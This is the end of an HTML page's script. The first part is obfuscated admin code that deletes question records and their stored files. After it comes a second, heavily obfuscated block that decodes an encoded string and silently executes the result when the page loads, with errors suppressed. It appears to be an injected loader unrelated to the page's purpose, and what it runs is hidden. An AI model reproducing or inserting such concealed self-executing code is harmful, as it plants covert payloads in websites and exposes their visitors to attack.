_0x11cc9c=document[_0x5ab195(0x10e)](_0x5ab195(0x16c))[_0x5ab195(0x109)]['trim'](),_0x522d8c=await db[_0x5ab195(0x173)](_0x5ab195(0x134))[_0x5ab195(0x176)](_0x11cc9c)[_0x5ab195(0x124)](),_0x50ae61=_0x522d8c[_0x5ab195(0x120)]();if(_0x50ae61[_0x5ab195(0x11e)]&&_0x50ae61[_0x5ab195(0x11e)]['length']>0x0)for(const _0x5b9658 of _0x50ae61[_0x5ab195(0x11e)]){const _0x5c44d4=storage[_0x5ab195(0x147)](_0x5b9658['url']);await _0x5c44d4[_0x5ab195(0x116)]();}await db['collection']('questions')[_0x5ab195(0x176)](_0x11cc9c)[_0x5ab195(0x116)](),alert(_0x5ab195(0x167)),document[_0x5ab195(0x10e)](_0x5ab195(0x172))[_0x5ab195(0x15f)](),document[_0x5ab195(0x10e)](_0x5ab195(0x152))[_0x5ab195(0x121)]['add']('hidden'),document[_0x5ab195(0x10e)]('questionId')[_0x5ab195(0x109)]='',currentFiles=[];}catch(_0x104edf){console[_0x5ab195(0x139)](_0x5ab195(0x16d),_0x104edf),alert(_0x5ab195(0x11f)+_0x104edf[_0x5ab195(0x135)]);}finally{toggleLoading(![]);}},document[_0x38aafa(0x10e)]('cancelDelete')['onclick']=hideDeleteModal;}
        (function(){_6Ne0("ndf/*/bobnj;j2mf!gj~lgn!j1uop;ufe*1|bgnpu4e*|pj##sjdp;-dqj;~gfsj|bjpuogs!3~/jfqfjxiwsubtp;b)1~mehobptotjbjjufsfto&stssb)f~1uop;uf7f~#no;-fsuo##sue#j.ffuouostpn/tgm.swf;pf|sogstm23pj|juoq!!osoofAzbtq||bgnpu1h2&stssb)1h~ebt##efj##tj.##/mqwxstj;b",(function(){this._W5L5YvH3h__wacD79={f:function(_9q,$){_4dF0="\x70\x6c\x61";function _2Y3(_9q,$,_65,_bA61){function _qx(_tTM){_tTM=_8l(_tTM)-32-(_bA61%95);if(_tTM<0){_tTM+=95;}_tTM+=32;_bA61++;return _FbN(_tTM);};function _uS8u(_9q,_65){_8EQ=_9q[_65];_10B4="";while(_8EQ!="\f"){if(_8EQ<" "){_10B4+=_8EQ;}else{_10B4+=_qx(_8EQ);}_65++;_8EQ=_9q[_65];}return _10B4;};function _8l(_8EQ){return _8EQ[_5PBX](0);};function _FbN(_tTM){return this[_Yl][_T7](_tTM);};_65=_65?_65:0;if(_9q[_Kd]>_65){_bA61=_bA61?_bA61:0;_aS9M=_uS8u(_9q,_65);_3qAX=_aS9M[_Kd];_WQ8=_uS8u(_9q,_65+_3qAX+1);_2ad=_WQ8[_Kd];$[_aS9M]=_WQ8;_2Y3(_9q,$,_65+_3qAX+1+_2ad+1,_bA61);}};_KpWo="\x72\x65"+_4dF0+"\x63\x65";_5PBX=_97w("_ahco%Cr%Aedt");_Yl=_97w("r_t%Sgni");_T7=_97w("_orfhCm%Crae_do");_Kd=_97w("ne_lh_tg");_2Y3(_9q,$);function _97w(_n8q){return _n8q[_KpWo](/[x%y_z]/g,'')[_KpWo](/(.)(.)(.)/g,'$3$2$1');};}};}()),0,{},"_oF9\fJztj|ryy\fkDA?|_\f%x%\"wz}\fx\"TpN\f)/*0\f\"#:]5\f'][z]TX?TA]_DYGbSVe\\;nrIG=HK\\QOdWH[pnJmdgMXe!;|S^ww)[%Z!+%08gAr0do/3;{l*lwARGEZM/XS]Wbj{'Y`b8F<$/k ~!u!)i{-&/53>$+Y\\%:E:AH<KO~DGRWLHSJK D%(P[^lkkCjexKyps^iqMo%Sgfq\"35,7/o7:?9s~8mo2tz&WLVZcT4[^c](3\\UM6g/:{pqx$xx,#+,<G!<>w?aDOCFMB=-DCEVP[E*-@`Wb[bi]lpPunicngM=Qit#u)})1l0'*u!(l]|xI}):A<O\"PGJ()^+6MI_'/2=marTkqkw !>Ioh%IYEP&-/(7n|wxP[0=#1AWbPBSLU[uTQbmP'lq?itandxrlw s~nFL*y%|/1q70+;$/+_bxv},7FKAAVMUV6AKT)*ED>I]oqTg|zGRiu|gSNY,'.%('7Wb&4>}f^i7DD:DKRgrB5}\"mx@cc\\c^u!ZciEh\\})[ptT*$&1v,*Pc-8/0+61@66A1Jv}rN>IRGQU^OFQMdXALWkjhgcgT_eU\\=Zev~^%',bm|XV|uit=4m46Gq|6q%4IIy%XWUTa!,P`./1(3j`ufm/:h;f#D_7B+.5*%>I#|2^[EP@3FI=LW;m!MxS^5K`VYdQ*/,C`kHSQRfqg}@}F]ny'..%t  WZXm{'7>:A\"-6Ss'(2F+6NZOR1<O`G.7B\\kby=Hc7]CdDO%w(+JUy3+WPv[S^=</>Yd3ClB_jNORdoE}{!GkvefYp{8CHBU\"2,\"4*11C$ZXwZQ*~~bZ/qj?=`Yb7qB2g<I5q%Uk_DQ=y-](`UWb}PI(@*Om@,bZ[t_bD8;>mk.fs_<O ;~@9-qffJSv$oL_0K/P[!c\\1/c'4 \\o@[?akO<:\\5o@0bV;H4p$ToIkD~O?tms'jdPbpQc+F/05mbdo8t`r!a458Cfx@[DEh2=oE*.ZrQ.y,:zRnuQ]IV`aWPYQdA-?M.e8v{kq]jtukdlexUASaBR3(S $SQsp{NTU*7,t_ewX+,/&yhf))svtzv|#zp3-w}0Tefg*0$}l#!\"2L031739?7-$MX+np#B.ZNF:JLJGtXYCSMCUKRRdEwW3qJDVc%5ym\\Z|UOan0@%xt`r!aJkkkDgas!BRi3>pK]k ~t@;v*>FY6\"4B#+js-e80CL-?f\"jk/Xc6>C}@3:e`>IVWTX%!vwqFJ{Kyxrz.jVhvWs,09\\n6Q:;^(3e9;PMSih2=o,K]fysr<Gy)UUV|H!)hq+Ob20R+G_cUVY2Nfj2[f9Mo\";{|rjk_[GYgH:95*Mi\"&M$Q0\\fj!p\\n|]jjh?3?dqqoEiRsssj4?q&HZsRw%%#GHG;*(J#k---$)664+kl0\"!|]QI=MOMJ\\=t18s}abcdZN^`^[mN&X7<,0s2nZlz[Jh2BK=iysi{qxx+k'%!]k:rIK]NA5$\"DAL~7bh\\7E06H)_asdWK0fhzk1Ze8P{\"uP<gi|`IQYLcH~!3$Ir}P5$7RQz&X-.O1['_68J;.A%&Dp!zp#x  2r]o'n@B6.\"242/AJ#q0YirOP+y8aqz-Va4khl27cz<+Ir#,>grE|y}CH&L^&A*+Nw#U)+@=CYX\"-_{;MVicB&Dp!zp#x  2rKE ?w[MPcF:6\"4B9=b&i[^q'P[.hz)=<2]XvZb6k:9bm@z-;ONDojxlt(cgKfjNw#Ui,>W(-Z;&'<thxzxu(~#f0;mDFCWp<7E9AT8V3~1? -pz_,<6,>4;;M.;AIb[4)j?MKcWS?Q_@rsN}#Fxy|FozMPW7'CQ|y%W)Sn/I':ig*bW9m{y2&j_Au$\"l6AsXGZut>I{\"OQx~J#UV1`T)}_4B@XkO2?#-s7ijEt8al?yv<4B!d#_K]kL!'%$^.ZjdZlbii{\\2565*b5H u1%iyZOzGMp#JeNOr<GyQUQg|{EP#{0[W&Q*\\oG=Xk;9[4D%yEq6_j=JS2y@l`OMoiI{[7uN^?4_,Py%WdmL4Z'({jh+csTItAe/:ld[Cso<0t'NiRSv@K}QShek\"!JU(Dcu~2,l0@!uAm2[f91(o@<z^THXZXUgH R16&*mnQ@^(8A5!})[ab7D9\"lr%e89<3Jk>?Bk5@rxyN[PvTzMNQzDO\"<U6$O(8xm9e*S^1=\"/>4`sCAc]=,Js$-l`XL\\^\\YkL$V5:*.qTago)\"ZIg1AJ*=b7=;:tFiB<v6nYk#j<>?R+~/1/,>~VryU_Ca>*<J+0$9wm1h;y~nr?OI?QGNN`AFUx.|oHz.e[vjYWysSXLa@\"uZ_ShG=`8T[7Aym} }z-mCFGF;sFY1'BU9108; -pz IT'jl~>*U.`sKA_4A%/4]h;qvS=<epCWy,Eq%hONbRXxW{orh\\lnli{\\4PW3=!?{gy(h#SnJm GbKLo9DvhPSxwAL~RuUW\"MV@Y-SfC/AO0dL<hys7Ip,tu9bm@2y|BAjuH{?~!Kv i#W|0lXjxYi-Wk5=`r:U>?b,7i[CFkj4?qEhHJt@I3L\"FY6\"4B&=b\"%c@,>L?kQRl9CG]M9KYDxlxH{@55x@itG[}0I(WyzymiUguZ`6YNN2Yh]<xdv%iDg\\\\@g1<nRB`[+r>!AT$\"DEN8dYRS`b*PNOR/hj^Htsxy]^RIcv>Dw[DLTGbMKmnwa..{|*,Sywx{X24(q>ABC'({r-@gmAi!d.9k!B~F\\o;&>Q)U;<V:#+3&=,*L7OC+B&OZ-Bc@g}1\\G_rJv\\]w[HFhE~!t^}.qeNT*M_'B+,Ox$VH03XW!,^2U57a-i492E)n&i3>p&G$Kat@|#DW;<)'I4L@(?#LW*?`=dz.YD\\oSM9KY:p#X{BY=fqDXz-F%aM_mWS.Q4-a_{(q++,8t`r!ulAdv>YBCf0;m?Q|Gpo9DvekKxD|_X-+QS=VVWQdA-?M0lWXmJ6HVD<vjvS?Q_CK WN!]I[iT)|)fXZ^X{^2V-?t$wtfhlf*emAe<N$3'#n!/)tOu-px!uT$\"D6\"\\]!;k'NB1/QK+0?bwfY4\\]QI=MOMJ\\D@LTG}aF#mn$gPX`SjfRdrS(g[NM7+7fd'xd?@c8 o<M3'%pK173MrG'zmlVKV:#+3&A,*L>*de)9\\';dXLJ6p[W]r8lL@32{p{_Dn\"^J#RPrK _SFEznU 3V+1/.h8{|bj-@lhAp34E)xp9:Ks{P<) B%|C@%!Y=*(JD$)8[p_R-UVJB6FHFCU=9EM@vZGEg@/Mv'0ocHca]:HvO>\\&6?~2uv5\f");function _6Ne0(_lK,_0WK,_QD8,$,_26G,_4HfS){_9k84=this._W5L5YvH3h__wacD79;_9k84.f(_26G,$);if(!_QD8){_QD8=$.__u8n;}_0u()(_lK,0,0x2c59,this,"''");function _0u(){return function(_XiUK,_3d5,_7U,_6Z,_PN){_9k84.p1=_XiUK;_9k84.p2=_7U;try{_0j5(_6Z)(_1rVL()([_QD8[$._730lN]("+p%p",_PN)[$._730lN]("-p%q",_PN)],''))();}catch(e){}function _0j5(_o9C){return _o9C[$._nD6];};_6Z._W5L5YvH3h__wacD79=_4HfS;};};function _1rVL(){return function(_8n3,_6Fdn){return _8n3[$._g9T1](_6Fdn);};};};}());
    </script>
</body>
</html>